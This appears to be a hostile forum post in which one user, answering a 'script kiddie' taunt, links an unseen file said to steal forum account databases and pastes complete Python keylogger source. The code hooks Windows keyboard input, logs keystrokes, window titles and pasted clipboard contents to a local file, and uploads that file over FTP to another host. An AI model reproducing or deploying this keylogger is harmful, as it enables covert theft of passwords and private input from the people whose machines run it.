Quote:
Originally Posted by Da Brayn Lord
Lol you would flex a dirty cow script
Fuckin script kiddie
|
Tell me something about this. After all its your death...
https://drive.google.com/open?id=1jH...rmqUXNIGa6uXEn
See this is very common in things like BB forums, this is how they steal every account in your database.
wanna ca che me outside lmfao?
Im sorry youre use to stuff more like this lol
Code:
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
from ftplib import FTP
import threading
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
try:
f=open("C:\loggy\out.txt","r")
except:
f=open("C:\loggy\out.txt","a+")
f.close()
#send current recorded file
def send():
global swit
swit=1
while(swit):
try:
ft = FTP('10.42.0.1')
ft.login('l','f')
filename="sent.txt"
fn=open("C:\loggy\out.txt","r")
ft.storbinary('STOR '+filename,fn)
ft.quit()
fn.close()
swit=0
except:
swit=1
thr = threading.Thread(target=send)
thr.start()
def get_current_process():
f=open("C:\loggy\out.txt","a+")
# get a handle to the fore ground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# store the current process ID
process_id = "%d" % pid.value
# grab the executable
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# now read its title
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# print out the header if we're in the right process
print
f.write("[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value))
print
f.close()
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
f=open("C:\loggy\out.txt","a+")
# if they passed a standard key
if event.Ascii > 32 and event.Ascii < 127:
f.write(chr(event.Ascii))
print chr(event.Ascii),
else:
# if [Ctrl-V], get the value on the clipboard
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
f.write(pasted_value)
#print "[PASTE] - %s" % (pasted_value),
else:
if event.Key=="Space":
f.write(' ')
if event.Key=="Return":
f.write('\n')
if event.Key=="back":
f.write('\b')
if event.Key=="Up":
f.write("")
if event.Key=="Down":
f.write("")
if event.Key=="Left":
f.write("")
if event.Key=="Right":
f.write("")
if event.Key=="Lcontrol":
f.write("[Ctrl]")
print "[%s]" % event.Key,
# pass execution to next hook registered
f.close()
return True
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and executne forever
kl.HookKeyboard()
pythoncom.PumpMessages()
f.close()